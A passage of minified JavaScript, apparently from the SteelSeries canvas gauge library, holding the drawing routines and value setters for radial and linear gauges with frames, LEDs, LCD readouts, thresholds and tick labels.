o=ht*yi,v,i=l,r=oi-1,e=h*.44,k=h*.41,b=h*.415,p=h*.42,c=h*.48,u=h*.0375,w=oi/2,y=parseFloat(d.toFixed(2)),f=l;parseFloat(f.toFixed(2))<=y;f+=yi){v=+o+ct,r++;if(r===oi){n.lineWidth=1.5,n.beginPath(),n.moveTo(e,0),n.lineTo(k,0),n.closePath(),n.stroke(),n.save(),n.translate(c,0),n.rotate(v);switch(t.format){case\"fractional\":n.fillText(i.toFixed(2),0,0,u);break;case\"scientific\":n.fillText(i.toPrecision(2),0,0,u);break;case\"standard\":default:n.fillText(i.toFixed(0),0,0,u)}n.translate(-c,0),n.restore(),i+=ot,r=0,n.rotate(o);continue}0==oi%2&&r===w?(n.lineWidth=1,n.beginPath(),n.moveTo(e,0),n.lineTo(b,0),n.closePath(),n.stroke()):(n.lineWidth=.5,n.beginPath(),n.moveTo(e,0),n.lineTo(p,0),n.closePath(),n.stroke()),n.rotate(o)}n.translate(-s,-g),n.restore()},lt=function(n){var t,i,r;n=n||{};var e=undefined===n.frame?!1:n.frame,f=undefined===n.background?!1:n.background,d=undefined===n.led?!1:n.led,c=undefined===n.pointer?!1:n.pointer,b=undefined===n.foreground?!1:n.foreground;pr=!0,ku(),e&&ru&&v(fr,iu,s,u/2,h,k),f&&yr&&w(p,it,s,u/2,h,k),d&&(cr.drawImage(o(Math.ceil(u*.093457),1,ki),0,0),ar.drawImage(o(Math.ceil(u*.093457),0,ki),0,0)),gi&&(or.drawImage(a(Math.ceil(u*.028037),steelseries.ColorDef.BLUE.dark.getRgbaColor(),!0,!0),0,0),or.restore()),di&&(rr.drawImage(a(Math.ceil(u*.028037),steelseries.ColorDef.RED.medium.getRgbaColor(),!0),0,0),rr.restore());if(f&&yr){cu(p);if(null!==gt&&0<gt.length){p.save(),steelseries.Orientation.WEST===ft&&(p.translate(s,s),p.rotate(-Math.PI/2),p.translate(-s,-s)),t=gt.length;do t--,ur(p,gt[t].start,gt[t].stop,gt[t].color,!1);while(0<t);p.restore()}if(null!==ni&&0<ni.length){steelseries.Orientation.WEST===ft&&(p.translate(s,s),p.rotate(-Math.PI/2),p.translate(-s,-s)),i=ni.length;do i--,ur(p,ni[i].start,ni[i].stop,ni[i].color,!0);while(0<i);p.restore()}su(p,eu),ou(p)}vr&&(p.save(),steelseries.Orientation.WEST===ft&&(p.translate(s,s),p.rotate(-Math.PI/2),p.translate(-s,-s)),p.translate(s,g),p.rotate(rt+(pt-l)*ht+ct),p.translate(-s,-g),p.drawImage(hu(),h*.475,k*.32),p.restore()),c&&(nt(sr,h*1.17,ut,tr,it.labelColor,!1),nt(lr,h*1.17,ut,tr,it.labelColor,!0)),b&&dr&&(r=ut.type===\"type15\"||ut.type===\"type16\"?!1:!0,y(ir,wr,h,k,r,du,ci,kr,ft))},ti=function(n){n=n||{};var f=undefined===n.frame?!1:n.frame,e=undefined===n.background?!1:n.background,r=undefined===n.led?!1:n.led,t=undefined===n.pointer?!1:n.pointer,i=undefined===n.foreground?!1:n.foreground;f&&(ui.width=u,ui.height=u,fr=ui.getContext(\"2d\")),e&&(ri.width=u,ri.height=u,p=ri.getContext(\"2d\")),r&&(ii.width=Math.ceil(u*.093457),ii.height=Math.ceil(u*.093457),cr=ii.getContext(\"2d\"),st.width=Math.ceil(u*.093457),st.height=Math.ceil(u*.093457),ar=st.getContext(\"2d\"),bt=st),t&&(fi.width=u,fi.height=u,sr=fi.getContext(\"2d\"),li.width=u,li.height=u,lr=li.getContext(\"2d\"),yt.width=u,yt.height=u,et=yt.getContext(\"2d\")),i&&(si.width=u,si.height=u,ir=si.getContext(\"2d\"))},vi=function(n){n?nu=setInterval(fu,1e3):clearInterval(nu)},fu=function(){tu&&(bt=bt===ii?st:ii,wu.repaint())};return this.setValue=function(n){var t=n<l?l:n>d?d:n;b!==t&&(b=t,b>wt&&(wt=b),b<vt&&(vt=b),b<pt||tt?b<pt&&(tt=!1,vi(tt),nr&&hi.pause()):(tt=!0,vi(tt),nr&&hi.play()),this.repaint())},this.getValue=function(){return b},this.setValueAnimated=function(n){var i=n<l?l:n>d?d:n,t;b!==i&&(undefined!==dt&&dt.playing&&dt.stop(),dt=new Tween({},\"\",Tween.regularEaseInOut,b,i,1),t=this,dt.onMotionChanged=function(n){b=n.target._pos,b<pt||tt?b<pt&&(tt=!1,vi(tt)):(tt=!0,vi(tt)),b>wt&&(wt=b),b<vt&&(vt=b),t.repaint()},dt.start())},this.resetMinMeasuredValue=function(){vt=b,this.repaint()},this.resetMaxMeasuredValue=function(){wt=b,this.repaint()},this.setMinMeasuredValueVisible=function(n){gi=n,this.repaint()},this.setMaxMeasuredValueVisible=function(n){di=n,this.repaint()},this.setThresholdVisible=function(n){vr=n,this.repaint()},this.setFrameDesign=function(n){ti({frame:!0}),iu=n,lt({frame:!0}),this.repaint()},this.setBackgroundColor=function(n){ti({background:!0,pointer:ut.type===\"type2\"||ut.type===\"type13\"?!0:!1}),it=n,lt({background:!0,pointer:ut.type===\"type2\"||ut.type===\"type13\"?!0:!1}),this.repaint()},this.setForegroundType=function(n){ti({foreground:!0}),wr=n,lt({foreground:!0}),this.repaint()},this.setPointerType=function(n){ti({pointer:!0,foreground:!0}),ut=n,lt({pointer:!0,foreground:!0}),this.repaint()},this.setPointerColor=function(n){ti({pointer:!0}),tr=n,lt({pointer:!0}),this.repaint()},this.setLedColor=function(n){ti({led:!0}),ki=n,lt({led:!0}),this.repaint()},this.repaint=function(){pr||lt({frame:!0,background:!0,led:!0,pointer:!0,foreground:!0}),f.clearRect(0,0,f.canvas.width,f.canvas.height),f.save(),ru&&f.drawImage(ui,0,0),f.drawImage(ri,0,0),tu&&(b<pt&&(tt=!1,bt=st),f.drawImage(bt,pu,yu)),steelseries.Orientation.WEST===ft&&(f.translate(s,s),f.rotate(-Math.PI/2),f.translate(-s,-s)),gi&&(f.save(),f.translate(s,g),f.rotate(rt+ct+(vt-l)*ht),f.translate(-s,-g),f.drawImage(hr,f.canvas.width*.4865,f.canvas.height*.27),f.restore()),di&&(f.save(),f.translate(s,g),f.rotate(rt+ct+(wt-l)*ht),f.translate(-s,-g),f.drawImage(er,f.canvas.width*.4865,f.canvas.height*.27),f.restore()),ai=rt+ct+(b-l)*ht;var n=h*.006,t=h*1.17/2;et.clearRect(0,0,h,k),et.save(),et.translate(s,g),et.rotate(ai),et.translate(-t,-t),et.drawImage(li,0,0),et.restore(),steelseries.Orientation.NORTH===ft?f.drawImage(yt,0,0,h,k,n,n,h+n,k+n):f.drawImage(yt,0,0,h,k,-n,n,h-n,k+n),f.save(),f.translate(s,g),f.rotate(ai),f.translate(-t,-t),f.drawImage(fi,0,0),f.restore(),dr&&(f.save(),steelseries.Orientation.WEST===ft&&(f.translate(s,s),f.rotate(Math.PI/2),f.translate(-s,-s)),f.drawImage(si,0,0),f.restore()),f.restore()},this.repaint(),this},yi=function(n,i){var fi;i=i||{};var l=undefined===i.gaugeType?steelseries.GaugeType.TYPE1:i.gaugeType,b=undefined===i.width?140:i.width,d=undefined===i.height?320:i.height,e=undefined===i.minValue?0:i.minValue,s=undefined===i.maxValue?e+100:i.maxValue,gr=undefined===i.niceScale?!0:i.niceScale,bt=undefined===i.threshold?(s-e)/2:i.threshold,gi=undefined===i.titleString?\"\":i.titleString,wi=undefined===i.unitString?\"\":i.unitString,sr=undefined===i.frameDesign?steelseries.FrameDesign.METAL:i.frameDesign,or=undefined===i.frameVisible?!0:i.frameVisible,w=undefined===i.backgroundColor?steelseries.BackgroundColor.DARK_GRAY:i.backgroundColor,lr=undefined===i.backgroundVisible?!0:i.backgroundVisible,wt=undefined===i.valueColor?steelseries.ColorDef.RED:i.valueColor,lt=undefined===i.lcdColor?steelseries.LcdColor.STANDARD:i.lcdColor,hi=undefined===i.lcdVisible?!0:i.lcdVisible,fr=undefined===i.lcdDecimals?2:i.lcdDecimals,eu=undefined===i.digitalFont?!1:i.digitalFont,ti=undefined===i.ledColor?steelseries.LedColor.RED_LED:i.ledColor,er=undefined===i.ledVisible?!0:i.ledVisible,ar=undefined===i.thresholdVisible?!0:i.thresholdVisible,tr=undefined===i.minMeasuredValueVisible?!1:i.minMeasuredValueVisible,di=undefined===i.maxMeasuredValueVisible?!1:i.maxMeasuredValueVisible,fu=undefined===i.labelNumberFormat?steelseries.LabelNumberFormat.STANDARD:i.labelNumberFormat,kr=undefined===i.foregroundVisible?!0:i.foregroundVisible,ki=undefined===i.playAlarm?!1:i.playAlarm,vr=undefined===i.alarmSound?!1:i.alarmSound;ki&&vr!==!1&&(fi=r.createElement(\"audio\"),fi.setAttribute(\"src\",vr),fi.setAttribute(\"preload\",\"auto\"));var hu=this,v=e,at=s,ft=e;l.type!==\"type1\"&&l.type!==\"type2\"&&(l=steelseries.GaugeType.TYPE1);var yt,vt=!1,br=0,y=r.getElementById(n).getContext(\"2d\");y.clearRect(0,0,y.canvas.width,y.canvas.height),y.canvas.width=b,y.canvas.height=d;var f=b,u=d,h=b<=d,bi,rr,it=Math.round((h?d:b)*.05),nt=Math.round((h?b:d)*.05),ir,nr;h?(bi=f/2-it/2,rr=(l.type===\"type1\"?.053:.038)*u,ir=Math.floor(u/22)+\"px sans-serif\",nr=Math.floor(u/22)+\"px \"+tt):(bi=.89*f,rr=u/2-it/2,ir=Math.floor(u/10)+\"px sans-serif\",nr=Math.floor(u/10)+\"px \"+tt);var pr=!1,ci=e,si=s,ei=s-e,yr=si-ci,oi=0,ut=0,ui=10,uu=10,ru=function(){gr?(ei=c(s-e,!1),ut=c(ei/(uu-1),!0),ci=Math.floor(e/ut)*ut,si=Math.ceil(s/ut)*ut,oi=c(ut/(ui-1),!0),e=ci,s=si,yr=s-e):(ei=s-e,ci=e,si=s,yr=ei,oi=1,ut=10)},ii=t(b,d),wr=ii.getContext(\"2d\"),ri=t(b,d),k=ri.getContext(\"2d\"),li,kt=t(it,it),vi=kt.getContext(\"2d\"),rt=t(it,it),yi=rt.getContext(\"2d\"),pt=rt,gt=t(nt,nt),cr=gt.getContext(\"2d\"),dt=t(nt,nt),hr=dt.getContext(\"2d\"),ni=t(b,d),pi=ni.getContext(\"2d\"),cu=function(n,t,i){n.save(),n.textAlign=\"right\",n.textBaseline=\"middle\",n.strokeStyle=lt.textColor,n.fillStyle=lt.textColor,(lt===steelseries.LcdColor.STANDARD||lt===steelseries.LcdColor.STANDARD_GREEN)&&(n.shadowColor=\"gray\",i?(n.shadowOffsetX=u*.003,n.shadowOffsetY=u*.003,n.shadowBlur=u*.004):(n.shadowOffsetX=u*.007,n.shadowOffsetY=u*.007,n.shadowBlur=u*.009));var o,e,r;n.font=eu?nr:ir,i?(o=(f-f*.571428)/2+f*.571428-2,e=u*.88+1+(u*.055-2)/2,r=f*.7-2):(o=f*.695+f*.18-2,e=u*.22+1+(u*.15-2)/2,r=u*.22-2),n.fillText(t.toFixed(fr),o,e,r),n.restore()},ou=function(n){var i=r.createElement(\"canvas\"),t,u;return i.height=i.width=nt,t=i.getContext(\"2d\"),t.save(),u=t.createLinearGradient(0,.1,0,i.height*.9),u.addColorStop(0,\"#520000\"),u.addColorStop(.3,\"#fc1d00\"),u.addColorStop(.59,\"#fc1d00\"),u.addColorStop(1,\"#520000\"),t.fillStyle=u,n?(t.beginPath(),t.moveTo(.1,i.height*.5),t.lineTo(i.width*.9,.1),t.lineTo(i.width*.9,i.height*.9),t.closePath()):(t.beginPath(),t.moveTo(.1,.1),t.lineTo(i.width*.9,.1),t.lineTo(i.width*.5,i.height*.9),t.closePath()),t.fill(),t.strokeStyle=\"#FFFFFF\",t.stroke(),t.restore(),i},su=function(n,t,i){var o,k;w.labelColor.setAlpha(1),n.save(),n.textBaseline=\"middle\",o=f*.1,n.strokeStyle=w.labelColor.getRgbaColor(),n.fillStyle=w.labelColor.getRgbaColor();var r=e,y=ui-1,h,nt,v,c,a=1,g,it,tt,b,p,d;for(i?(g=.34*f,it=.36*f,tt=.33*f,b=.36*f,p=.32*f,d=.36*f,n.textAlign=\"right\",h=0,nt=u*.12864,v=0,c=l.type===\"type1\"?u*.856796-u*.12864:u*.7475-u*.12864,a=c/(s-e)):(g=.65*u,it=.63*u,tt=.66*u,b=.63*u,p=.67*u,d=.63*u,n.textAlign=\"center\",nt=0,l.type===\"type1\"?(h=f*.142857,v=f*.871012-h):(h=f*.19857,v=f*.82-h),c=0,a=v/(s-e)),k=e,tickCounter=0;k<=s;k+=oi,tickCounter+=oi){currentPos=i?nt+c-tickCounter*a:h+tickCounter*a,y++;if(y===ui){n.lineWidth=1.5,ai(n,p,d,currentPos,i);if(i)switch(t.format){case\"fractional\":n.fillText(r.toFixed(2),f*.28,currentPos,o);break;case\"scientific\":n.fillText(r.toPrecision(2),f*.28,currentPos,o);break;case\"standard\":default:n.fillText(r.toFixed(0),f*.28,currentPos,o)}else switch(t.format){case\"fractional\":n.fillText(r.toFixed(2),currentPos,u*.73,o);break;case\"scientific\":n.fillText(r.toPrecision(2),currentPos,u*.73,o);break;case\"standard\":default:n.fillText(r.toFixed(0),currentPos,u*.73,o)}r+=ut,y=0;continue}0==ui%2&&y===ui/2?(n.lineWidth=1,ai(n,tt,b,currentPos,i)):(n.lineWidth=.5,ai(n,g,it,currentPos,i))}n.restore()},ai=function(n,t,i,r,u){u?(n.beginPath(),n.moveTo(t,r),n.lineTo(i,r),n.closePath(),n.stroke()):(n.beginPath(),n.moveTo(r,t),n.lineTo(r,i),n.closePath(),n.stroke())},g=function(n){n=n||{};var b=undefined===n.frame?!1:n.frame,t=undefined===n.background?!1:n.background,y=undefined===n.led?!1:n.led,v=undefined===n.foreground?!1:n.foreground,i,r,c;pr=!0,ru(),b&&or&&ht(wr,sr,f,u,h),t&&lr&&ot(k,w,f,u,h),t&&l.type===\"type2\"&&dr(k),y&&(h?(vi.drawImage(o(it,1,ti),0,0),yi.drawImage(o(it,0,ti),0,0)):(vi.drawImage(o(it,1,ti),0,0),yi.drawImage(o(it,0,ti),0,0))),tr&&(h?cr.drawImage(a(nt,steelseries.ColorDef.BLUE.dark.getRgbaColor(),!1,h),0,0):cr.drawImage(a(nt,steelseries.ColorDef.BLUE.dark.getRgbaColor(),!1,h),0,0)),di&&(h?hr.drawImage(a(nt,steelseries.ColorDef.RED.medium.getRgbaColor(),!1,h),0,0):hr.drawImage(a(nt,steelseries.ColorDef.RED.medium.getRgbaColor(),!1,h),0,0)),t&&lr&&(su(k,fu,h),h?ct(k,f,u,gi,wi,w,h,null,hi,l):ct(k,f,u,gi,wi,w,h,null,hi,l)),t&&ar&&(k.save(),h?(i=l.type===\"type1\"?.856796:.7475,r=i-.12864,c=u*i-u*r*(bt/(s-e)),k.translate(f*.365,c-nt/2)):(i=l.type===\"type1\"?.871012:.82,r=i-(l.type===\"type1\"?.142857:.19857),c=f*r*bt/(s-e),k.translate(f*(l.type===\"type1\"?.142857:.19857)-nt/2+c,u*.58)),k.drawImage(ou(h),0,0),k.restore()),t&&hi&&(h?(li=p(f*.571428,u*.055,lt),k.drawImage(li,(f-f*.571428)/2,u*.88)):(li=p(f*.18,u*.15,lt),k.drawImage(li,f*.695,u*.22))),v&&l.type===\"type2\"&&nu(pi),v&&kr&&et(pi,f,u,h,!1)},st=function(n){n=n||{};var r=undefined===n.frame?!1:n.frame,u=undefined===n.background?!1:n.background,t=undefined===n.led?!1:n.led,i=undefined===n.foreground?!1:n.foreground;r&&(ii.width=b,ii.height=d,wr=ii.getContext(\"2d\")),u&&(ri.width=b,ri.height=d,k=ri.getContext(\"2d\")),t&&(kt.width=Math.ceil(b*.093457),kt.height=Math.ceil(d*.093457),vi=kt.getContext(\"2d\"),rt.width=Math.ceil(b*.093457),rt.height=Math.ceil(d*.093457),yi=rt.getContext(\"2d\"),pt=rt),i&&(ni.width=b,ni.height=d,pi=ni.getContext(\"2d\"))},ur=function(n){n?br=setInterval(iu,1e3):clearInterval(br)},iu=function(){er&&(pt=pt===kt?rt:kt,hu.repaint())},tu=function(n,t,i){var u,o,r=w.labelColor,f,y,nt,c,a,tt,g,ct,ht,st,lt,yt,pt,at,vt,it,k,et,ft,d,p,b,ut,rt,ot;h?(u=i*.12864,o=l.type===\"type1\"?i*.856796:i*.7475,f=o-u,y=f*(v-e)/(s-e),nt=o-y,ct=0,ht=u,st=0,lt=o):(l.type===\"type1\"?(u=t*.871012,o=t*.142857):(u=t*.82,o=t*.19857),f=u-o,y=f*(v-e)/(s-e),nt=o,ct=u,ht=0,st=o,lt=0),l.type===\"type1\"&&(d=w===steelseries.BackgroundColor.CARBON||w===steelseries.BackgroundColor.PUNCHED_SHEET||w===steelseries.BackgroundColor.STAINLESS||w===steelseries.BackgroundColor.BRUSHED_STAINLESS||w===steelseries.BackgroundColor.TURNED?.3:0,p=n.createLinearGradient(ct,ht,st,lt),r.setAlpha(.05+d),p.addColorStop(0,r.getRgbaColor()),r.setAlpha(.15+d),p.addColorStop(.48,r.getRgbaColor()),r.setAlpha(.15+d),p.addColorStop(.49,r.getRgbaColor()),r.setAlpha(.05+d),p.addColorStop(1,r.getRgbaColor()),n.fillStyle=p,h?n.fillRect(t*.435714,u,t*.142857,f):n.fillRect(t*.142857,i*.435714,f,i*.142857),h?(yt=0,pt=u,at=0,vt=u+f):(yt=t*.142857+f,pt=0,at=t*.142857,vt=0),b=n.createLinearGradient(yt,pt,at,vt),r.setAlpha(.3+d),b.addColorStop(0,r.getRgbaColor()),r.setAlpha(.69),b.addColorStop(.48,r.getRgbaColor()),r.setAlpha(.7),b.addColorStop(.49,r.getRgbaColor()),r.setAlpha(.4),b.addColorStop(1,r.getRgbaColor()),n.fillStyle=b,h?(n.fillRect(t*.435714,u,t*.007142,f),n.fillRect(t*.571428,u,t*.007142,f)):(n.fillRect(t*.142857,i*.435714,f,i*.007142),n.fillRect(t*.142857,i*.571428,f,i*.007142))),h?l.type===\"type1\"?(c=t*.45,a=0,tt=t*.45+t*.114285,g=0):(c=t/2-i*.0486/2,a=0,tt=c+i*.053,g=0):l.type===\"type1\"?(c=0,a=i*.45,tt=0,g=i*.45+i*.114285):(c=0,a=i/2-t*.025,tt=0,g=a+t*.053),ut=n.createLinearGradient(c,a,tt,g),ut.addColorStop(0,wt.medium.getRgbaColor()),ut.addColorStop(1,wt.light.getRgbaColor()),n.fillStyle=ut,rt=l.type===\"type1\"?0:h?i*.05:t*.05,h?n.fillRect(c,nt,tt-c,y+rt):n.fillRect(nt-rt,a,y+rt,g-a),l.type===\"type1\"&&(h?(it=t*.45,k=0,et=it+t*.05,ft=0):(it=0,k=i*.45,et=0,ft=k+i*.05),ot=n.createLinearGradient(it,k,et,ft),ot.addColorStop(0,\"rgba(255, 255, 255, 0.7)\"),ot.addColorStop(.98,\"rgba(255, 255, 255, 0.0)\"),n.fillStyle=ot,h?n.fillRect(it,nt,et,y):n.fillRect(nt,k,y,ft-k))},nu=function(n){var t=h?u:f,i;n.save(),h?n.translate(f/2,0):(n.translate(f/2,u/2),n.rotate(Math.PI*.5),n.translate(0,-f/2+f*.05)),n.beginPath(),n.moveTo(-.049*t,.825*t),n.bezierCurveTo(-.049*t,.7975*t,-.0264*t,.775*t,.0013*t,.775*t),n.bezierCurveTo(.0264*t,.775*t,.049*t,.7975*t,.049*t,.825*t),n.bezierCurveTo(.049*t,.85*t,.0264*t,.8725*t,.0013*t,.8725*t),n.bezierCurveTo(-.0264*t,.8725*t,-.049*t,.85*t,-.049*t,.825*t),n.closePath(),i=n.createRadialGradient(0*t,.825*t,0,0*t,.825*t,.049*t),i.addColorStop(0,wt.medium.getRgbaColor()),i.addColorStop(.3,wt.medium.getRgbaColor()),i.addColorStop(1,wt.light.getRgbaColor()),n.fillStyle=i,n.fill(),n.beginPath(),h?(n.moveTo(-.0365*t,.8075*t),n.bezierCurveTo(-.0365*t,.7925*t,-.0214*t,.7875*t,-.0214*t,.7825*t),n.bezierCurveTo(.0189*t,.785*t,.0365*t,.7925*t,.0365*t,.8075*t),n.bezierCurveTo(.0365*t,.8175*t,.0214*t,.815*t,.0013*t,.8125*t),n.bezierCurveTo(-.0189*t,.8125*t,-.0365*t,.8175*t,-.0365*t,.8075*t),i=n.createRadialGradient(0,.8*t,0,0,.8*t,.0377*t)):(n.beginPath(),n.moveTo(-.0214*t,.86*t),n.bezierCurveTo(-.0365*t,.86*t,-.0415*t,.845*t,-.0465*t,.825*t),n.bezierCurveTo(-.0465*t,.805*t,-.0365*t,.7875*t,-.0214*t,.7875*t),n.bezierCurveTo(-.0113*t,.7875*t,-.0163*t,.8025*t,-.0163*t,.8225*t),n.bezierCurveTo(-.0163*t,.8425*t,-.0113*t,.86*t,-.0214*t,.86*t),i=n.createRadialGradient(-.03*t,.8225*t,0,-.03*t,.8225*t,.0377*t)),i.addColorStop(0,\"rgba(255, 255, 255, 0.55)\"),i.addColorStop(1,\"rgba(255, 255, 255, 0.05)\"),n.fillStyle=i,n.closePath(),n.fill(),n.beginPath(),n.moveTo(-.0214*t,.115*t),n.bezierCurveTo(-.0214*t,.1075*t,-.0163*t,.1025*t,-.0113*t,.1025*t),n.bezierCurveTo(-.0113*t,.1025*t,-.0113*t,.1025*t,-.0113*t,.1025*t),n.bezierCurveTo(-.0038*t,.1025*t,.0013*t,.1075*t,.0013*t,.115*t),n.bezierCurveTo(.0013*t,.115*t,.0013*t,.76*t,.0013*t,.76*t),n.bezierCurveTo(.0013*t,.7675*t,-.0038*t,.7725*t,-.0113*t,.7725*t),n.bezierCurveTo(-.0113*t,.7725*t,-.0113*t,.7725*t,-.0113*t,.7725*t),n.bezierCurveTo(-.0163*t,.7725*t,-.0214*t,.7675*t,-.0214*t,.76*t),n.bezierCurveTo(-.0214*t,.76*t,-.0214*t,.115*t,-.0214*t,.115*t),n.closePath(),i=n.createLinearGradient(-.0189*t,0,.0013*t,0),i.addColorStop(0,\"rgba(255, 255, 255, 0.1)\"),i.addColorStop(.34,\"rgba(255, 255, 255, 0.5)\"),i.addColorStop(1,\"rgba(255, 255, 255, 0.1)\"),n.fillStyle=i,n.fill(),n.restore()},dr=function(n){var t=h?u:f,i;n.save(),h?n.translate(f/2,0):(n.translate(f/2,u/2),n.rotate(Math.PI*.5),n.translate(0,-f/2+f*.05)),n.beginPath(),n.moveTo(-.0516*t,.825*t),n.bezierCurveTo(-.0516*t,.8525*t,-.0289*t,.875*t,.0013*t,.875*t),n.bezierCurveTo(.0289*t,.875*t,.0516*t,.8525*t,.0516*t,.825*t),n.bezierCurveTo(.0516*t,.8075*t,.044*t,.7925*t,.0314*t,.7825*t),n.bezierCurveTo(.0314*t,.7825*t,.0314*t,.12*t,.0314*t,.12*t),n.bezierCurveTo(.0314*t,.1025*t,.0189*t,.0875*t,.0013*t,.0875*t),n.bezierCurveTo(-.0163*t,.0875*t,-.0289*t,.1025*t,-.0289*t,.12*t),n.bezierCurveTo(-.0289*t,.12*t,-.0289*t,.7825*t,-.0289*t,.7825*t),n.bezierCurveTo(-.0415*t,.79*t,-.0516*t,.805*t,-.0516*t,.825*t),n.closePath(),i=n.createLinearGradient(-.0163*t,0,.0289*t,0),i.addColorStop(0,\"rgba(226, 226, 226, 0.5)\"),i.addColorStop(.5,\"rgba(226, 226, 226, 0.2)\"),i.addColorStop(1,\"rgba(226, 226, 226, 0.5)\"),n.fillStyle=i,n.fill(),n.lineWidth=1,n.strokeStyle=\"rgba(153, 153, 153, 0.5)\",n.stroke(),n.restore()};return this.setValue=function(n){var t=n<e?e:n>s?s:n;v!==t&&(v=t,v>ft&&(ft=v),v<at&&(at=v),v<bt||vt?v<bt&&(vt=!1,ur(vt),ki&&fi.pause()):(vt=!0,ur(vt),ki&&fi.play()),this.repaint())},this.getValue=function(){return v},this.setValueAnimated=function(n){var i=n<e?e:n>s?s:n,t;v!==i&&(undefined!==yt&&yt.playing&&yt.stop(),yt=new Tween({},\"\",Tween.regularEaseInOut,v,i,1),t=this,yt.onMotionChanged=function(n){t.setValue(n.target._pos)},yt.start())},this.resetMinMeasuredValue=function(){at=v,this.repaint()},this.resetMaxMeasuredValue=function(){ft=v,this.repaint()},this.setMinMeasuredValueVisible=function(n){tr=n,this.repaint()},this.setMaxMeasuredValueVisible=function(n){di=n,this.repaint()},this.setThresholdVisible=function(n){ar=n,this.repaint()},this.setLcdDecimals=function(n){fr=n,this.repaint()},this.setFrameDesign=function(n){st({frame:!0}),sr=n,g({frame:!0}),this.repaint()},this.setBackgroundColor=function(n){st({background:!0}),w=n,g({background:!0}),this.repaint()},this.setValueColor=function(n){st({foreground:!0}),wt=n,g({foreground:!0}),this.repaint()},this.setLedColor=function(n){st({led:!0}),ti=n,g({led:!0}),this.repaint()},this.setLcdColor=function(n){st({background:!0}),lt=n,g({background:!0}),this.repaint()},this.setMaxMeasuredValue=function(n){var t=n<e?e:n>s?s:n;ft=t,this.repaint()},this.setMinMeasuredValue=function(n){var t=n<e?e:n>s?s:n;at=t,this.repaint()},this.setTitleString=function(n){gi=n,g({background:!0}),this.repaint()},this.setUnitString=function(n){wi=n,g({background:!0}),this.repaint()},this.setMinValue=function(n){st({background:!0}),e=n,mminMeasuredValue<e&&(at=e),v<e&&(v=e),g({background:!0}),this.repaint()},this.getMinValue=function(){return e},this.setMaxValue=function(n){st({background:!0}),s=n,ft>s&&(ft=s),v>s&&(v=s),g({background:!0}),this.repaint()},this.getMaxValue=function(){return s},this.setThreshold=function(n){var t=n<e?e:n>s?s:n;bt=t,g({background:!0}),this.repaint()},this.repaint=function(){pr||g({frame:!0,background:!0,led:!0,foreground:!0}),y.clearRect(0,0,y.canvas.width,y.canvas.height),or&&y.drawImage(ii,0,0),y.drawImage(ri,0,0),hi&&cu(y,v,h),er&&(v<bt&&(vt=!1,pt=rt),y.drawImage(pt,bi,rr));var t,n,i,o,r;tr&&(h?(n=l.type===\"type1\"?.856796:.7475,i=n-.12864,t=u*n-u*i*(at/(s-e)),o=f*.34-gt.width,r=t-gt.height/2):(n=l.type===\"type1\"?.871012:.82,i=n-(l.type===\"type1\"?.142857:.19857),t=f*i*at/(s-e),o=f*(l.type===\"type1\"?.142857:.19857)-gt.height/2+t,r=u*.65),y.drawImage(gt,o,r)),di&&(h?(t=u*n-u*i*(ft/(s-e)),o=f*.34-dt.width,r=t-dt.height/2):(n=l.type===\"type1\"?.871012:.8,i=n-(l.type===\"type1\"?.14857:.19857),t=f*i*ft/(s-e),o=f*(l.type===\"type1\"?.142857:.19857)-dt.height/2+t,r=u*.65),y.drawImage(dt,o,r)),y.save(),tu(y,f,u),y.restore(),(kr||l.type===\"type2\")&&y.drawImage(ni,0,0)},this.repaint(),this},kr=function(n,i){var oi,li,d;i=i||{};var y=undefined===i.width?140:i.width,w=undefined===i.height?320:i.height,u=undefined===i.minValue?0:i.minValue,s=undefined===i.maxValue?u+100:i.maxValue,bt=undefined===i.section?null:i.section,lu=undefined===i.useSectionColors?!1:i.useSectionColors,su=undefined===i.niceScale?!0:i.niceScale,st=undefined===i.threshold?(s-u)/2:i.threshold,ar=undefined===i.titleString?\"\":i.titleString,rr=undefined===i.unitString?\"\":i.unitString,dr=undefined===i.frameDesign?steelseries.FrameDesign.METAL:i.frameDesign,kr=undefined===i.frameVisible?!0:i.frameVisible,k=undefined===i.backgroundColor?steelseries.BackgroundColor.DARK_GRAY:i.backgroundColor,or=undefined===i.backgroundVisible?!0:i.backgroundVisible,ei=undefined===i.valueColor?steelseries.ColorDef.RED:i.valueColor,kt=undefined===i.lcdColor?steelseries.LcdColor.STANDARD:i.lcdColor,gi=undefined===i.lcdVisible?!0:i.lcdVisible,pr=undefined===i.lcdDecimals?2:i.lcdDecimals,wu=undefined===i.digitalFont?!1:i.digitalFont,si=undefined===i.ledColor?steelseries.LedColor.RED_LED:i.ledColor,br=undefined===i.ledVisible?!0:i.ledVisible,wr=undefined===i.thresholdVisible?!0:i.thresholdVisible,lr=undefined===i.minMeasuredValueVisible?!1:i.minMeasuredValueVisible,fr=undefined===i.maxMeasuredValueVisible?!1:i.maxMeasuredValueVisible,bu=undefined===i.labelNumberFormat?steelseries.LabelNumberFormat.STANDARD:i.labelNumberFormat,fu=undefined===i.foregroundVisible?!0:i.foregroundVisible,er=undefined===i.playAlarm?!1:i.playAlarm,iu=undefined===i.alarmSound?!1:i.alarmSound,yt=undefined===i.valueGradient?null:i.valueGradient,pu=undefined===i.useValueGradient?!1:i.useValueGradient;er&&iu!==!1&&(oi=r.createElement(\"audio\"),oi.setAttribute(\"src\",iu),oi.setAttribute(\"preload\",\"auto\"));var ku=this,l=u,at=s,lt=u,dt,it=!1,ri=!1,ki=!1,ft=[],ru=0,v=r.getElementById(n).getContext(\"2d\");v.clearRect(0,0,v.canvas.width,v.canvas.height),v.canvas.width=y,v.canvas.height=w;var f=v.canvas.width,e=v.canvas.height,h=y<=w,ur,sr,ut=Math.round((h?w:y)*.05),rt=Math.round((h?y:w)*.05),hr,cr;h?(ur=f/2-ut/2,sr=.053*e,hr=Math.floor(e/22)+\"px sans-serif\",cr=Math.floor(e/22)+\"px \"+tt):(ur=.89*f,sr=e/1.95-ut/2,hr=Math.floor(e/10)+\"px sans-serif\",cr=Math.floor(e/10)+\"px \"+tt);var 